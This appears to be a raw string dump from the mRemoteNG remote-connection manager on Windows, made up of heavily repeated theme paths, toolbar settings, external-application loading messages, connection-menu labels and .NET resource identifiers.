C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles MainFormState Normal Minimized Maximized MainFormRestoreLocation 104 MainFormRestoreSize 1145 610 mRemoteNG mRemoteNG ToolStripContainer1 ToolStripContainer1 NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles mRemoteNG mRemoteNG ToolStripContainer1 ToolStripContainer1 NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles ToolStripContainer1 ToolStripContainer1 NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 mRemoteNG mRemoteNG ToolStripContainer1 ToolStripContainer1 NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 UseCustomPuttyPath ShowSystemTrayIcon AutoSaveEveryMinutes Loading External Apps from: Loading External Apps failed: Could not FIND file! Loading External Apps failed: Could not LOAD file! DisplayName FileName Arguments WorkingDir RunElevated WaitForExit TryToIntegrate ShowOnToolbar Adding External App: C:\Users\job\AppData\Local C:\Users\job\AppData\Local C:\Users\job\AppData\Local path3 C:\Users\job\AppData\Local\mRemoteNG C:\Users\job\AppData\Local\mRemoteNG\extApps.xml C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming C:\Users\job\AppData\Roaming\mRemoteNG C:\Users\job\AppData\Roaming\mRemoteNG\extApps.xml C:\Users\job\AppData\Roaming\mRemoteNG\extApps.xml Loading External Apps from: C:\Users\job\AppData\Roaming\mRemoteNG\extApps.xml 2026 2026-02-24 09:07:25 INFO version="1.0" en C:\Users\job\AppData\Roaming\mRemoteNG\extApps.xml file:///C:/Users/job/AppData/Roaming/mRemoteNG/extApps.xml file:///C:/Users/job/AppData/Roaming/mRemoteNG/extApps.xml file:///C:/Users/job/AppData/Roaming/mRemoteNG/extApps.xml Xml_CannotResolveUrl file C:\Users\job\AppData\Roaming\mRemoteNG\extApps.xml C:\Users\job\AppData\Roaming\mRemoteNG\extApps.xml extApps.xml C:\Users\job\AppData\Roaming\mRemoteNG\extApps.xml ?xml version="1.0" encoding="utf-8"?> coding="utf-8" utf-8 version="1.0" encoding="utf-8" rsion="1.0" en Apps ExtAppsTBShowText AlwaysShowPanelTabs ResetToolbars NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles Main Toolbar Main Toolbar Main Toolbar Main Toolbar NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles ToolStripContainer1 ToolStripContainer1 NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Main Toolbar Main Toolbar Main Toolbar Main Toolbar NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles ToolStripContainer1 ToolStripContainer1 NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Main Toolbar Main Toolbar Main Toolbar Main Toolbar LockToolbars bottom left right ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles Main Toolbar Main Toolbar NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 ExtAppsTBVisible ExtAppsTBParentDock bottom ExtAppsTBLocation ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 QuickyTBVisible QuickyTBParentDock QuickyTBLocation Main Toolbar Main Toolbar Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles Main Toolbar Main Toolbar NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 MultiSshToolbarVisible MultiSshToolbarParentDock MultiSshToolbarLocation Main Toolbar Main Toolbar Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar Main Toolbar Main Toolbar olvConnections pnlConnections PictureBox1 txtSearch Search mMenAddConnection mMenAddFolder &View mMenViewExpandAllFolders Expand all folders mMenViewCollapseAllFolders Collapse all folders mMenSortAscending ConnectionTreeWindow Connections Folder PuttySessions Unable to fill the image list of type StatusImageList Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing.Bitmap Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Sort ascending by '{0}' Sort descending by '{0}' Group by '{0}' Lock grouping on '{0}' Unlock grouping from '{0}' Turn off groups Unsort Select Columns... {null} SortAscending BrightIdeasSoftware.Properties.Resources ObjectListView ObjectListView.resources file:///C:/Program Files (x86)/mRemoteNG/ObjectListView.DLL ObjectListView ObjectListView.resources, Version=2.9.1.1072, Culture=en-US, PublicKeyToken=b1c5bf581481bcd4 ObjectListView.resources, Version=2.9.1.1072, Culture=en-US, PublicKeyToken=b1c5bf581481bcd4 BrightIdeasSoftware.Properties.Resources.en-US.resources BrightIdeasSoftware.Properties.Resources.en-US.resources ObjectListView ObjectListView.resources ObjectListView.resources, Version=2.9.1.1072, Culture=en, PublicKeyToken=b1c5bf581481bcd4 ObjectListView.resources, Version=2.9.1.1072, Culture=en, PublicKeyToken=b1c5bf581481bcd4 BrightIdeasSoftware.Properties.Resources.en.resources BrightIdeasSoftware.Properties.Resources.en.resources BrightIdeasSoftware.Properties.Resources.resources BrightIdeasSoftware.Properties.Resources.resources BrightIdeasSoftw are.Properties.Resources.resources BrightIdeasSoftware.Properties.Resources.resources System.Resources.RuntimeResourceSetcorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.RuntimeResourceSet mscorlib mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ae089 System.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing SortDescending Dataem.Drawing.Bitmapon=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing cMenTree _cMenTreeConnect Connect _cMenTreeConnectWithOptions Connect (with options) _cMenTreeConnectWithOptionsConnectToConsoleSession Connect to console session _cMenTreeConnectWithOptionsDontConnectToConsoleSession Don't connect to console session _cMenTreeConnectWithOptionsConnectInFullscreen Connect in fullscreen _cMenTreeConnectWithOptionsNoCredentials Connect without credentials _cMenTreeConnectWithOptionsChoosePanelBeforeConnecting Choose panel before connecting _cMenTreeDisconnect Disconnect _cMenTreeSep1 _cMenTreeToolsExternalApps External Applications _cMenTreeToolsTransferFile Transfer File (SSH) _cMenTreeSep2 _cMenTreeDuplicate Duplicate _cMenTreeRename _cMenTreeDelete _cMenTreeSep3 _cMenTreeImport &Import _cMenTreeImportFile Import from &File... _cMenTreeImportActiveDirectory Import from &Active Directory... _cMenTreeImportPortScan Import from &Port Scan... _cMenTreeExportFile &Export to File... _cMenTreeSep4 _cMenTreeAddConnection New Connection _cMenTreeAddFolder _cMenTreeToolsSort Sort _cMenTreeToolsSortAscending Ascending (A-Z) _cMenTreeToolsSortDescending Descending (Z-A) _cMenTreeMoveUp Move up _cMenTreeMoveDown Move down \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Play Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 monitor_go Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 monitor_delete Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 key_delete Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Pause Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Sort_AZ Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Sort_ZA Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Arrow_Up Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, 